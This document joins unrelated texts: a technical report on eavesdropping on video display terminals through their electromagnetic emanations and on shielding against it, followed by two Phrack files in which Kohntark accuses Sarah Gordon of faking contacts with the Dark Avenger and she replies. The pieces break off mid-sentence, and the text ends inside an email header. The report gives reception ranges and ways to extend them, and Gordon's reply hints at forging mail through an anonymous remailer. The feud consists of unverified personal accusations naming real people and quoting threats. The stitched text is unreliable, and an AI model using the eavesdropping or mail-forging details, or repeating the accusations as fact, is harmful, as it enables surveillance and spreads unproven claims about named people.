Figure 2.4 shows the spectrum for the third type of emission: the compromising currents and voltages entering the power supply lines. It is very similar to the shell wave spectrum. The height of this spectrum at higher frequencies is even smaller than the shell wave spectrum. In order to receive any signal a cable‑ready television set must be used. The intensity of the currents and voltages is so high that they can easily be received using a regular television set with normal sensitivity.

2.2. Frequency and Frequency Range

It follows from figures 2.2, 2.3, and 2.4 that the best reception for the three types of emissions is for the following frequencies:

compromising radiation approx. 200 MHz; compromising shell waves approx. 60 MHz; compromising voltages approx. 20 MHz.

The video information of the picture on the monitor has a frequency range of half a spectral arc. The frequency range of the receiver must therefore be 10 MHz for all three types of emission.

2.3. Directional Characteristics of the Radiation

Figure 2.5 shows the directional characteristics for compromising radiation emitted by a video display terminal inside a plastic casing. According to this diagram the lateral radiation dominates. The field intensity along the front and back direction is about 30% of the lateral intensity. The power of the emitted radiation along these directions is only about 10% of the power emitted laterally. The range for the emitted radiation along the front and back direction is therefore also reduced to 30%. This phenomenon suggests for the first time a protection against compromising radiation, namely proper positioning of the device.

The compromising shell waves and power line voltages propagate according to the configuration of the lines. There is no preferred direction.

2.4. Range

The range of compromising radiation emitted from a video display terminal is defined as the maximum distance between the emitting terminal and a television receiver and readable picture.

The range can be very different for the three types of emitted radiation. It depends on the type of emitter and the path of propagation.

The spectacular ranges for emitted ranges are often quoted ‑ some of which do not always come from the technical literature ‑ give in general no indication just under which conditions they were obtained. It is therefore meaningful to verify these spectacular ranges before using them.

2.4.1. The Range of Compromising Emitted Radiation

The dependence of the field intensity on distance is illustrated in figure 2.6.

The dependence of the range on the receiver used is shown at 25 m, 40 m, and 80 m. The field intensity at 25 m is just strong enough to receive a picture with an ordinary television receiver using the set‑up in figure 1.3. If one uses a narrow‑band television antenna or a noiseless antenna amplifier than the field intensities at 40 m and 80 m, respectively, are still strong enough to receive a legible picture.

The flattening out of the curve at large distances suggests that the range can be increased to several hundred meters by using more sensitive antenna or better receivers. The range can also be increased through a high altitude connection, for instance, if both emitter and receiver are in or on a high rise. This was verified by an experiment involving two high rises separated by over 150 m. A very clear picture was received using a relatively simple antenna with G = 6 db.

2.4.2. Range of Compromising Shell Waves

Measurements have shown that shell waves can propagate across a large area without any noticeable damping if only the surrounding metallic conductors extend also across the entire area.

The propagation is reduced considerably by a metallic conductor that crosses metallic surfaces such as metal walls or metallic grids such as reinforcements in concrete walls.

Dissipative building materials also damp shell waves. Lightweight construction such as the use of dry walls or plastic walls in large buildings increases the range of shell waves to about 100 m without the picture becoming illegible.

2.4.3 Range of Emissions Through Power Supply Lines

In this case the conditions are even less clear than in the previous cases. It must be assumed that inside a building the compromising currents and voltages can be received through the phase of the power supply lines feeding the video display terminal . The possibility of receiving the signal through other phase lines by coupling across phases in the power supply line cannot be excluded.

The range depends very much on the type of set‑up and the instruments used. It is conceivable that a range of about 100 m can be obtained.

3. Protective Measures

Protective measures fall into three categories:

‑ modification of devices and instruments by changing procedures and circuitry;

‑ heterodyning by noise or signals from external sources; ‑ shielding, interlocking, and filtering.

3.1. Instrument Modification

The instrument modifications consist of changing the signal processing method and the circuitry of the instrument. It is the objective of these measures to alter the spectral distribution and intensity of the emitted radiation in such a way that the reception by television sets or slightly modified television sets is no longer possible.

For instance, a change of procedure could consist of a considerable increase in the dot or pixel frequency, the symbol and line frequencies. A reduction in the impulse amplitude and impulse slope also changes the reduction in the impulse slope also changes emission spectrum so that reception is rendered more difficult. However, the subsequent modification of the video display terminal has serious disadvantages of its own: First of all, the user of video display terminals does in general not possess the personal and apparative equipment to perform the modifications. To complicate things further, the so‑modified instruments loose their manufacturer's warranty and also their permit of operation issued by governmental telecommunication offices. A subsequent instrument modification by the user is for these reasons in general out of question.

3.2. HETERODYNING STRATEGY

We refer to a protective measure as a heterodyning strategy whenever the compromising emitted radiation is superimposed by electromagnetic noise of specific electromagnetic signals.

The television set receives the compromising emitted radiation together with the superimposed noise of spurious signal. The noise or the spurious signal are such that a filtering out or decoding of the compromising emitted radiation by simple means is impossible.

Since the noise and the spurious signal not only interfere with the television receiver of the listener but also with other television sets in the vicinity the heterodyning strategy is by all means in violation with the laws and regulations governing telecommunications. As far as is known, this is a protective measure only used under extremely important circumstances involving high government officials.

3.3 Shielding

In contrast to the previously considered protective measures, shielding has two important advantages:

* shielding protects not only against compromising emitted radiation but also against electromagnetic emissions which can enter data processing devices from the outside and cause interference;

* furthermore, shielding neither violates the laws governing the use of telecommunications nor does it jeopardize the manufacturer's warranty.

The term shielding is used here to describe, shielding, interlocking, and filtering.

3.3.1. Shielding Data

The requirements on a shield are described by the shield damping. The shield damping is twenty times the logarithm of the ratio between the electric or magnetic field intensity inside the shield and outside the shield.

Actual applications and individual situations may require different values for the shield. The shield data are derived from the so‑called zone model. In the zone model one considers the type and intensity of the emitted radiation, the composition of the path of propagation, and the local accessibility for the receiver.

The shield data not only influence the shield damping but also the frequency range of the shield's effectiveness. Figure 3.1 shows a diagram listing different types if shields according to regulations MIL STD 285 and 461B, NSA 656, and VG norms 95 375.

3.3.2. Applicability of Shielding

Electromagnetic shielding can be used on emitting or interfered with instruments, on building and rooms, and on mobile cabins.

3.3.2.1. Shielding of Instruments

The shielding of instruments though it can often be done very quickly and effortlessly is not without problems.

In general but especially after subsequent installation, it can lead to a loss in design and styling of the shielded device. Openings in the shield, for instance for ventilation or control and operating elements, cannot always be sealed off completely. In this case they are emission openings with particularly high emission rates.

Trying to maintain ergonometric conditions ‑ good viewing conditions for the users ‑ renders the shielding of screens especially difficult. If the casing of the instruments is not made of metal but of plastic, the following shielding materials are considered: metal foils, metal cloth, metal‑coated plastics, electrolytical layers and coats of metallic paint or paste. Recently, the plastics industry is also offering metallized plies of fabric. Such glasses are for instance offered by VEGLA, Aachen. Ventilation openings are sealed off with metallic fabric of honey‑comb wirings.

Interlocking systems and filters on all leads coming out of the instrument prevent the emission of compromising shell waves and power supply voltages.

3.3.2.2. Building and Room Shielding

There are some advantages in shielding buildings and rooms. The building and room shielding lies solely in the competence of the user. Minor restrictions dealing with the static of the building and local building regulations only occur with external shielding. Building and room shielding offers a protection that is independent of the instrument or its type. It is a lasting and effective protection. Maintenance is minimal, and subsequent costs hardly exist. Interior design and room lay‑out are not changed.

If one requires better shielding values or a building and room design which emphasizes better comfort than greater expenses and thus higher costs will occur.

3.3.2.3. Cabin Shielding

Cabin shielding has all the advantages of building and room shielding. In addition, cabin shielding is not affected by the static of the building or local building regulations. Furthermore, cabin shielding requires less expenses and costs than building or room shielding.

However, shielded cabins do not offer the same comfort or interior design as shielded buildings or rooms.

3.3.3. Shielding Components

Electromagnetic shielding consists of three components:

# the actual shield together with various structural elements as a protection against emitted radiation;

# the interlocking of all non‑electric and electric supply lines to protect against shell waves;

# electric filters at all supply lines to protect against compromising power supply voltages.

3.3.3.1. The Electromagnetic Shield

The shield consists of the hull and the shielding structural elements.

3.3.3.1.1. Shield Hull ‑ Method and Construction

In general, one uses metal sheets or metal foil to construct electromagnetic shields for buildings and rooms. If one lowers the requirements on the shield damping and the upper limit frequency then screen wire, metallic nets, and ‑ if properly constructed ‑ even the reinforced wire net in concrete can be used; the obvious disadvantage is that the settlements or movements of the building can cause cracks that will render the shield ineffective.

Therefore, only metal shields or strong wire netting is used for the construction of electromagnetically shielded cabins.

The building or room shield can be built using several construction principles. Figure 3.2 above shows the essential construction principles.

For the Sandwich construction, the shield is between the outer and inner layer of the wall. A new type of construction uses the Principle of the Lost Form. The shield itself which consists of 3 to 5 mm thick sheet iron is used as an inner layer in the manufacturing of concrete walls. The sheets touch one another and have to be welded together at the contact points. If the building or room shields he\ave to satisfy a special purpose then they have to be grounded at only one point; they have to be assembled in such a way that they electrically insulate against the building or room walls. The so‑called inner shields offer this protection. In simple cases, the inners shield is placed on top of the walls maintaining insulation by using a special underneath construction. However, this space‑saving and simple construction has a disadvantage; the part of the shield that faces the wall such as corrosion, settling or moving of the building, or damages due to work on the exterior of the building can no longer be detected. The use of non‑corrosive shield material or sufficient back ventilation of the shield protects against corrosion in these cases. The self‑supporting inner shield is suspended from a supporting grid construction. This construction can be similar to a cabin construction. In the case of large rooms, such as halls, one should use a truss for statistical reasons. The self‑supporting inner shield has the advantage of accessibility, although the usable room volume has been decreased.

In rooms where the shield is exposed to only slight mechanical wear and tear and not required to shield completely, shielding metal foil is glued directly to the wall and welded at the contact points.

The floor construction is almost the same for all four construction principles. It is important that the floor onto which the shield is placed is protected from humidity and is even. In the case of electrically insulating layers of, for instance, laminated paper or PVC are first put on the floor. The ceiling construction depends on the specific requirements and necessities. The ceiling shield can be a suspended metallic ceiling or a self‑supporting ceiling construction.

3.3.3.1.2. Shield Construction Elements

Construction elements which seal off viewing openings or access openings are called shield construction elements. Access openings are doors, gates, and hatches. Viewing openings are windows.

The shielded doors, gates, and hatches serve two purposes: first to close off the room, and second to shield the room.

The door, gate, or hatch shield is in general made of sheet iron. Passing from the door or gate shield to the room shield causes shield‑technical problems. A construction which is due to the company of TRUBE & KINGS has proven to be especially effective for this kind of problem (see figure 3.3).

The set‑on‑edge door shield, the so‑called knife, is moved into a U‑shape which contains spring contacts. The difference between this and other available constructions is that the knife is not moved into the spring upward. This construction reduces the wear and tear of the transition point between door and room shield and thus increases the durability of the construction which implies a better protection and higher reliability. This construction by TRUBE & KINGS satisfies the highest requirements on shield damping.

Windows in shielded room are sealed off with the shielding glass or so‑called honey‑comb chimneys. It si understood that these windows are not to be opened. Figure 3.4 shows the cross‑section of a glass especially developed by VEGLA for data processing rooms. The glass consists of multiple layers which are worked into a very fine metallic net and an evaporated metallic layer. The thickness of the wire is in the range of a few micrometers so that the net is hardly visible. This glass can also be manufactured so that it is rupture‑ and fire‑resistant and bullet‑proofed.

Using glass one can reach shield dampings in the medium range (refer to figure 3.1). Specially manufactured glass reaches even higher shield dampings.

Figure 3.4 also shows the so‑called honey‑comb chimneys as manufactured by SIEMENS. Visibility and the comfort of light are highly restricted. But the advantage is that this type of shielding satisfies the requirements for highest shield damping.

3.3.3.2. Interlocking

All non‑electric supply lines leaving a shielded room must be interlocked in order to protect against the propagation of shell and surface waves. Water pipes, heating pipes, pneumatic and hydraulic pipes are connected via rings to the metallic shield. Depending on the required frequency range, the pipe diameter is also subdivided by filter pieces. At high frequencies on can achieve dampings of up to 100dB using such interlocking devices.

The ventilation of shielded rooms may cause problems. Problems will occur if shield dampings up to the highest frequencies are required. In this case one has to use two‑step ventilation filters. The first step consist of adding concave conductor filters which work for the frequencies up to 200 GHz, the second step of adding absorber filters which protect against compromising emitted frequencies above 200 GHz.

Figure 3.5 shows the set‑up for the above‑described ventilation lock which is due to the SCHORCH.

3.3.3.3. Electric Filters

Filters must be put on electric power supply lines, telephone wires, and data processing supply lines at the room exit point. The filters have to be installed at the shield.

The filters used here are the same as the ones shown in the area of electromagnetic compatibility.

4. Summary

Electric devices used in data processing, data transmission and data handling emit electromagnetic radiation, electromagnetic shell and surface waves, and currents and voltages in power supply lines, telephone wires, and data supply lines.

If this emitted radiation carries actual data or information from the data processing device then it is compromising.

Using a television receiver, it is very easy to receive, decode and make these compromising emissions legibly. Several possibilities present themselves as protective measures against compromising emissions from data processing and data transmitting equipment. The use of shielding in the form of room shields, interlocking of supply lines, and filters for electric lines is the best protection for the user of data

Sara Gordon v. Kohntark Part I

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 11 of 27

****************************************

[Editor's Note:

The following two files are very interesting. I never paid ANY attention to the realm of our community that focus on virii. For some reason, the whole idea behind them is a novel concept, but I never saw any reason to take notice of them. Even when I've given lectures, I always leave discussion about virii out, since they should be a moot point. I mean, when "fdisk /mbr" will take care of so many problems, what's the big deal?

I know I'm over‑simplifying things, but jesus...

Well, while I continued to overlook this small but earnest group of folks who dabble in virii, all kinds of things began to happen. Groups formed, rivalries flared, paranoia ran rampant and one of the most ridiculous cottage industries in the history of personal computing appeared (living on the spread of Fear, Uncertainty and Doubt.)

Well, in all of this several names have popped up as potential threats to this little world. One in particular, Sarah Gordon, even got the spotlight as a paranoid, BBS‑busting, hacker‑bashing psychopath in a rather ill‑researched and hastily prepared Phrack piece a few years back. It is rather odd that in all the hype we in the underground drum up, no one ever bothers to get the other side of the story, so we feed the fervor and continue the paranoia.

Well, with this in mind, I received a file claiming to have info regarding the big "expose" of Sarah masquerading as the Dark Avenger. Now, even a moron like me has heard of the Dark Avenger, so I read it. After doing so, I wanted to pipe it to /dev/null, but then decided it would be much more fun to send it to Sarah too, and let her respond to it.

It's amusing as hell, and just goes to show that the underground has as many similarities in its distinct groups as it does differences.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sara(h?) Gordon AND THE DARK AVENGER SCAM.

By Kohntark

In one of my many online conversations with Sara Gordon I once asked her about the validity of the VNI interviews and her real relationship with the alleged dark avenger; after logging into her VFR BBS and seeing a #2 (hers being #1) account named after him.

I proceeded to leave a message for the dark avenger there, claiming that the whole account was bogus as it is highly improbable that this person might call all the way from Bulgaria and log into a mediocre BBS just to chat with her, considering the expense of such long distance call , the economic situation in Eastern Europe and a fact that would learn later: Sara(h) Gordon has an account on the Bulgarian DIGSYS unix server, locally accessible by phone from there!

As it was expected, Sara(h) quickly 'noticed' my personal message to the dark avenger and replied to my questioning in a public post in FIDONET, (I don't read FIDONET posts and she knows I have no access to them!!!! )

She claimed that the dark avenger was fully aware of how much money she made out of the VNI interviews and that she was in touch with him, etc.etc.

Afterward, I questioned her again about the whole affair and demanded a proof, or some sort of direct contact from the dark avenger to my anonymous internet account.

Since this was the first time anyone had ever questioned the validity of her relationship with the DA, she took this to heart and shortly after, I received 3 short messages originating from <dav@danbo.digsys.bg> an Internet connected UNIX system in Bulgaria.

Here they are:

(Private, compromising parts are X'd out)

1st Message:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑

From daemon@digsys.bg Wed Jul 14 19:07 EDT 1993

Received: from danbo.digsys.bg by XXXXXXXXXXXXXXXXXXXXXX; Wed, 14 Jul 93 19:07:3 4 ‑0400

Return‑Path: <dav@danbo.digsys.bg>

Received: by XXXXXXXXXXXXXX (5.67/1.35)

id AA12850; Thu, 15 Jul 93 02:04:46 +0300

Message‑Id: <9307142304.AA12850@XXXXXXXXXXXX>

To: XXXXXXX

From: dav@danbo.digsys.bg

Date: Wed, 14 Jul 93 23:41:36 +0300

Subject: No subject

Status: RO

kohntark‑

i just talked to a friend of mine who said you dont like her user log. why shouldnt i call her from bulgaria? i call whoever i want to, and this is not your problem.

by the way, she sent me your mail. for your information, i do

know how much money she made of that interview. and i also think that this is none of your business.

also, maybe it would be good for you to know, that by offending her, you are offending me, too. keep this in mind.

<dav>

Second Message:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

>My mail with her is none of your business either.

i dont think so, dude.

maybe you need to read the next few lines again,

in case you missed them.

>>

>> also, maybe it would be good for you to know, that by offending >> her, you are offending me, too. keep this in mind.

>>

>> <dav>

>

>HA HA! and you expect me to believe that you are the DA!

>send me a proof: an email address from bulgaria or tell me

>how many addressing modes does the MTE have?

>

>nice try.

well, what do you think the domain .bg in my email address stands for? maybe you think its kameroon?

as for the mte, im not giving you any info.

i need not prove anything to anybody, and certainly dont plan to waste more of my time talking to you. you have been warned.

<dav>

Third Message:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

oh, yeah. sure it did.

only you will not know where something else came from, when it knocks on your door. i have nothing more to say.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In my ignorance, I blindly trusted the three cryptic replies to be true, even thought whoever replied refused to give out trivial information such as the number of addressing modes for a 2 year old encryption engine (MTE) and spelled Cameroon with a 'k' (Check out Sara Gordon's spelling of URUGUAY in VIRUS‑L Volume 6 Issue 120 ‑v06i120)

Shortly after other unrelated discussions and a CUD post from Sara(h) in which I was mentioned (unnamed), someone warned me of several posts in NUKENET by an alleged dark avenger and Todor Todorov from an account belonging to the last, mentioning me and Aristotle.

In those messages I was referred to as 'hotshot,' a word that Sara Gordon had used on me several times on our personal email exchange; It was then that I became highly suspicious of the whole matter.

I called Virginia's Virus Research Institute's sysop and owner, Aristotle to find out more about the posts and he bought to my attention the particular writing style of Sara(h) Gordon: She NEVER uses capital letters and apostrophes on her personal email, and always signs her name on the lower left hand corner. (She seldom signs her posts nowadays and changes her user name in her vfr@netcom.com account every week!; for further proof of her writing style, please refer to public posts in VIRUS‑L Volume 6 #120; I also have over 100K of personal email exchange to prove this fact!)

It was then that we realized that she was passing herself as Todor Todorov and the dark avenger (who could possibly verify their online identity?) and had infiltrated NUKENET..

The writing style described corresponds exactly to the one on the posts I received from the 'dark avenger.' Shortly afterward the <dav@danbo.digsys.bg> account was cancelled and I learned the whole truth:

The danbo.digsys.bg Bulgarian site belongs to Daniel Kalchev, another self appointed AV researcher whose best claims to fame are submitting various Bulgarian viruses to Patricia Hoffman's VSUM!!

(You can check this by doing a search on 'Kalchev' on the current VSUMs or you can contact him thru: <daniel@danbo.sigsys.bg> )

He is a very close friend of Sara(h) Gordon and he has an account in her VFR BBS (you can check this by logging into her system and checking the user list) and SHE has an account in digsys.bg under <sarah@danbo.digsys.bg> (this account is still valid as far as I know; notice the H after her name!)

What I concluded is that is the DA would never get an account in such system as he HATES Daniel Kalchev!!!!

This is what really happened: Sara(h) Gordon in her desperation to prove that she was in touch with the dark avenger, told her pal Daniel Kalchev to make an account under the dark avenger's name (<dav> this is how she always refers to him, even though he never signs his name that way (check the source code for his 'Dark Avenger' virus or the 'Commander Bomber' virus message name: [DAME]) From there she could email me messages that would come from Bulgaria and would be untraceable since she would log into her account in digsys.bg and log into the <dav> account internally from the same site in Bulgaria. (You can check where and when most of the people log from in most internet unix and vax sites)

As it is expected from her, she has denied any of this. Some of her ridiculous explanations include things like "hotshot is a very common English word in Bulgaria" !!!

You might ask yourself what is the deal with the h? is it sara or sarah??

Well, I asked her the same question when I noticed this in one of the VNI interviews, where her name is spelled as Sarah.

She replied that this was a mistake of the publisher. Mistake? well not really, it was another lie, meant to throw off any information and truth seekers, for example you can check her account in Daniel Kalchev's system: <saraH@danbo.digsys.bg> , spelled with an H, another 'mistake of the publisher?'

:)

Other countless Sara Gordon lies are told in NUKE InfoJournal # 6.

This behavior puts in question the validity of the VNI interviews and the reputation of Sara(h) Gordon as a serious (self appointed) 'virus researcher'

IMHO the VNI interviews are a complete fabrication, meant only to boost her validity as a 'journalist', and to make her lots of money, charging for further 'interviews' to other magazines. (She has offered her paid 'interviewing' services to various other publications.)

To the best of my knowledge the information I present here is true and can be checked.

I chose to publish this information, despite threats against my well being and countless lies about me propagated by Sara(h) Gordon.

I am doing this to stop the lies and corruption fostered by

Sara Gordon v. Kohntark Part II

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 12 of 27

****************************************

Sarah Gordon's Response

Greetz and Salutations :)

Thank you for giving me the opportunity to contribute to Phrack. While we may not agree on everything, I appreciate the chance to speak for myself. In the past, as many people now know, I have not

had the opportunity to do so. My philosophies and ideals are quite similar to your own, and I hope that my response to this "Article" will help shine a bit of light on what is really going on here.

I don't really want to spend too much time on it, because it is, as you said, obviously a personal attack. But, on the other hand, such nonsense can grow to the point where it has an effect. Perhaps a backlash on the programmers and hackers in Bulgaria, which of course will spread to the United States. They have suffered a lot of persecution because of the past malicious and irresponsible acts of some of their virus writers. Since Dark Avenger stopped writing viruses, their reputation has improved somewhat.

David Briscoe recently wrote:

"Computer hackers in former communist countries, including an elusive Bulgarian known as the Dark Avenger, are creating mischievous and sometimes costly viruses that threaten computers around the world".

Following a recent interview I conducted with Dark Avenger, I was chastised for not making his identity known so he could be 'made to pay'.

In "Discover" Magazine, writers Paul Mungo and Brian Clough

are quoted from their book 'Approaching Zero' "the Mutating Engine...the most dangerous virus ever produced". This is so stupid, especially considering the thing does not replicate. It's a tool that can be used to perform encryption. Well, decryption too, but explanation of how it works aren't the point here, suffice to say it's not "the most dangerous virus ever produced".

If people are going to rely on the media as an information resource, the media owes it to us to provide us with accurate information. However, this is simply not always the case.

If you consider the actual viruses commonly found ‑in the wild‑ (that is, by computer users such as those from universities, corporations, etc.), the number of Bulgarian viruses ‑directly‑ impacting the users is a very insignificant number. For some reason, the media likes to play up Bulgaria as the big force behind the destruction of data!

I personally don't have an interest in the economy of Bulgaria or any other country, but the media sure likes to use this kind of "information" to sell their own particular brand of fear.

No more fear. Fear is a bad thing. It is one of the things that leads us to have government intervention into areas of our lives where it is definitely not desired.

Sara(h?) Gordon AND THE DARK AVENGER SCAM.

By K$hntark

In one of my many online conversations with Sara Gordon I once asked her about the validity of the VNI interviews and her real relationship with the alleged dark avenger; after logging into her VFR BBS and seeing a #2 (hers being #1) account named after him.

Of course his (Dark Avenger) name was #2 there. I put it there for him. His last call to my BBS was July 31, 1993 at 1:55 p.m. However, this was not the start of this business with Kohntark. He had been mailing me for about one month. From an account using the address of cxxxxx.ic.xxxxxx.edu. Keep this address in mind. It will come in handy later.

I am not exactly sure of the date of the first message, but I think about one month. He had been reasonable enough at first, but he became increasingly agitated. Since he felt it was appropriate to include personal mail from Dark Avenger to him here, I think I can go ahead and illustrate for you some of his "hacking" :) (well, if you can call it hacking. you decide). (OH GOD, LOWER CASE...LeTZ SeE...)

I proceeded to leave a message for the dark avenger there, claiming that the whole account was bogus as it is highly improbable that this person might call all the way from Bulgaria and log into a mediocre BBS just to chat with her, considering the expense of such long distance call , the economic situation in Eastern Europe and a fact that would learn later: Sara(h) Gordon has an account on the Bulgarian DIGSYS unix server, locally accessible by phone from there!

This guy doesn't seem to know much about the "economic situation in Eastern Europe". At least, about Dark Avenger's personal economic state:) or mine. Maybe Dark Avenger could call digsys, but I certainly couldn't when I first started talking to him. I didn't have any internet account. All I had was my mediocre BBS. He couldn't get to my BBS any way but to call me, directly.

Yes, I have an account there ‑now‑, but I don't and didn't use it to chat with Dark Avenger. He did not want the sysadmin to monitor our chats. And, I didn't ‑have‑ that account until after I had talked to Dark Avenger for a long time, so I could hardly have used that server to talk to him early on I didn't have an account there then :) In fact, neither did he, at that time, because there was no digsys.bg as far as I know. He called Danbo BBS for years. It was not on the internet. He did later use it later, once it actually got onto the internet, to occasionally mail me, but not much. He used it more to come to IRC.

In fact, a couple people you know talked to him there, with me. They didn't like him much; found him rude and arrogant. He can be.

However, he most certainly did call me here. Does Kohntark think he is the only one who can make long distance telephone calls? Dark Avenger called me frequently, and not always from Bulgaria. I don't know how or if he paid for the calls, all I know is that since I couldn't afford to call, and didn't know any number for him, he called me.

As for my "mediocre" BBS, it serves its purpose:) I think giving out virus free anti‑virus products, and products that don't cost the users a small fortune, and that actually WORK is quite a good purpose. I don't see any reason for people to be exploited by some a‑v companies, who are promoted by various magazines, which in turn rate them highly because they are doing their advertising.

As it was expected, Sara(h) quickly 'noticed' my personal message to the dark avenger and replied to my questioning in a public post in FIDONET, (I don't read FIDONET posts and she knows I have no access to them!!!! )

Kohntark called my BBS, at my invitation, on July 13, 1993 at 23:19. There's no other way he could have left any mail because its an invite only system. It's not like it was any big shock to me that he called. He asked me to make him an account and I did.

Dark Avenger was a regular caller to my BBS, and read his message, I imagine, since he fwded it to me. I don't know what access Kohntark has or doesn't have, as far as what networks he uses, (as far as what networks he reads mail from, that is) as I explained to

him. I mailed him there because of the mail he left to Dark Avenger (which he forwarded to me) on MY system, and because I received a very nasty message from Kohntark, using the address kohntark@rot.in.hell.com, if I remember correctly. I sent the message, and did include answers to his questions because I wanted to continue talking with him. The message had the headers included from, guess where? cxxxxx.ic.xxxxxx.edu....

She claimed that the dark avenger was fully aware of how much money she made out of the VNI interviews and that she was in touch with him, etc.etc.

This is the truth. In case anyone is curious, the amount of money I made from this article was less than the amount of my PC Pursuit Bill from calling to do chats and talks with him. At that time he had accesses via various networks, and we talked on a regular basis. Additionally, Dark Avenger had full control over taking out or editing any of his comments in the interview. It is a policy of mine. If you wish to confirm it, I can put you in touch with other virus writers. I can in fact do it any time probably, as they are usually around where we are. Let me know if you want me to do it. Dark Avenger was even a bit obsessive about how much money I would make.

I also "sold" the story to PCWorld, where it has been published, in part. I have not received any compensation for this yet. More later on why I did the interview.

Maybe the problem is I didn't interview Kohntark...

Afterward, I questioned her again about the whole affair and demanded a proof, or some sort of direct contact from the dark avenger to my anonymous internet account.

First, I do not have to "prove" my contact with this man to anyone. It has been well enough observed and documented every step of the way. Ever hear of the dedicated virus? It is the demo virus that came with the Mutation Engine. It contains "We dedicate this little virus to sara gordon who wanted to have a virus named after her". (At this point, Dark Avenger did not really know me, we were just establishing our contact; he still used the spelling Sara for my name :)

I provided Kohntark with an address with Dark Avengers permission. Actually, the account Dark Avenger had at digsys which he used to get to me on chats or IRC (2 years after initial contact) was not

under the name Dark Avenger OR dav, but under another name which would draw less attention to itself if someone happened to finger us during one of our chats. The system adminstrator made the additional account later, since he knew quite well it ‑was‑ Dark Avenger, having had an ongoing battle with him for years.

Kohntark wrote to Dark Avenger there, just like he said he did. At least this much is true. And, I did receive copies of the mail. Actually Dark Avenger did not want to even answer the mail, but I asked him to please do it so that the guy would leave me alone.

Someone using the same mail headers had already sent a message to WIRED, telling them "The DA is old news, he hasn't made a virus in 2 years, you should interview ME". Wonder who that might have been...... Does the header cxxxxx.ic.xxxxxx.edu ring any bells?

At that point, Kohntark forged mail to WIRED magazine, this time posing as Dark Avenger. I would never have known this, but Dark Avenger fwd back a very strange reply message from WIRED and asked me what in the hell was going on. In that message, WIRED had included part of the message they had received. It clearly displayed the cxxxxx.ic.xxxxxx.edu headers, indicating that the mail had been sent from someone there! Someone who told WIRED "I don't want to talk to you" (paraphrased). Even WIRED told me "That mail did not sound like Dark Avenger..it was just all wrong" (paraphrased). I pointed out the headers to them later. It was a bad hack on Kohntark's part. Anyone doubts, it mail the sysadmin at digsys.bg.

Here is a copy of that mail, with "compromising" parts xxxxed out.

First, Dark Avenger's legitimate fwd to me:

From dav@digsys.bg Sat Jul 24 20:36:12 1993

Return‑Path: <dav@digsys.bg>

Received: from mcsun.EU.net by mail.netcom.com (5.65/SMI‑4.1/Netcom) id AA04202; Sat, 24 Jul 93 20:34:29 ‑0700

Received: from danbo.UUCP by mcsun.EU.net with UUCP

id AA18612 (5.65b/CWI‑2.220); Sun, 25 Jul 1993 05:35:36 +0200 Received: by danbo.digsys.bg (5.67/1.37) via EUnet

id AA06614; Sun, 25 Jul 93 05:33:30 +0300

From: dav@digsys.bg (Dark Avenger)

Message‑Id: <9307250233.AA06614@danbo.digsys.bg>

Subject: Re: FWD>None (fwd)

To: vfr@netcom.com

Date: Sun, 25 Jul 93 5:33:29 EET DST

X‑Mailer: ELM [version 2.3 PL11]

Status: OR

Then, the message from xxxxxxxxxxx at WIRED:

Forwarded message:

>From xxxxxx!wired.com!xxxxx Sat Jul 24 01:34:30 1993

Message‑Id: <9307232129.AA02102@wired.com>

Date: 23 Jul 1993 14:27:42 ‑0800

From: "xxxxxxxxxxx" <xxxxx@wired.com>

Subject: Re: FWD>None

To: dav@digsys.bg

Reply to: RE>FWD>None

*Some mail from WIRED guy replying to the message***

And now, the mail that prompted xxxxxxx's reply. I guess Kohntark didn't realize that the mail would receive a reply. Or, didn't realize the reply would include the mail headers:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Date: 7/23/93 12:35 AM

To: xxxxxxxxxxx

From: xxxx

Received: by xx.wired.com with SMTP;22 Jul 1993 05:38:19 ‑0800 Received: from anon.penet.fi by wired.com via SMTP (920330.SGI/911001.SGI) for xxxxx@xx.wired.com id AA00423; Thu, 22 Jul 93 05:35:20 ‑0700 Received: from cxxxxx.ic.xxxxxx.edu by anon.penet.fi (5.67/1.35)

^^^^^^^^^^^^^^^^^^^^^^^^^^

id AA21218; Thu, 22 Jul 93 15:24:44 +0300

Date: Thu, 22 Jul 93 15:24:44 +0300

From: dav@digsys.bg

Message‑Id: <9307221224.AA21218@anon.penet.fi>

Return‑Path:<dav@digsys.bg>

Date: Fri 13, 66 00:00:00 EST

To:<xxxxxxx@wired.com>

Subject:Not interest.

Status:RO

I read in VIRUS‑L that some idiot (atman@rahut.net) wants to do interview with me face to face.

I am not interested in being in your magazine.

I am not interested in being interviewed, even if you offer me $1000. or more.

I am not interested. so tell your friend to stop mentioning me in VIRUS‑L, i have NO interest.

Please don't bother to reply. I have no time for stupidity.

<dav>

‑‑‑‑‑‑‑‑‑

Interesting use of the anonymous mailer port 25, eh? (clue: try helo)

Since this was the first time anyone had ever questioned the validity of her relationship with the DA, she took this to heart and shortly after, I received 3 short messages originating from <dav@danbo.digsys.bg> an Internet connected UNIX system in Bulgaria.

HAHAHA. This has been questioned many times. Do you think the ACM, or any magazine would risk printing this without adequate proof? My contacts early on with the virus writer were well documented. I had to prove myself to everyone from Vesselin Bontchev (who did not believe me until he had seen the source code to Commander Bomber, which is a virus; the source code has never been made available to anyone). Here:

From bontchev@informatik.uni‑hamburg.de Tue Oct 12 02:34:53 1993 Return‑Path: <bontchev@informatik.uni‑hamburg.de>

Received: from deneb.dfn.de by mail.netcom.com (5.65/SMI‑4.1/Netcom) id AA09608; Tue, 12 Oct 93 02:34:34 ‑0700

Received: from fbihh.informatik.uni‑hamburg.de by deneb.dfn.de (4.1/SMI‑4.2) id AA05014; Tue, 12 Oct 93 10:33:30 +0100

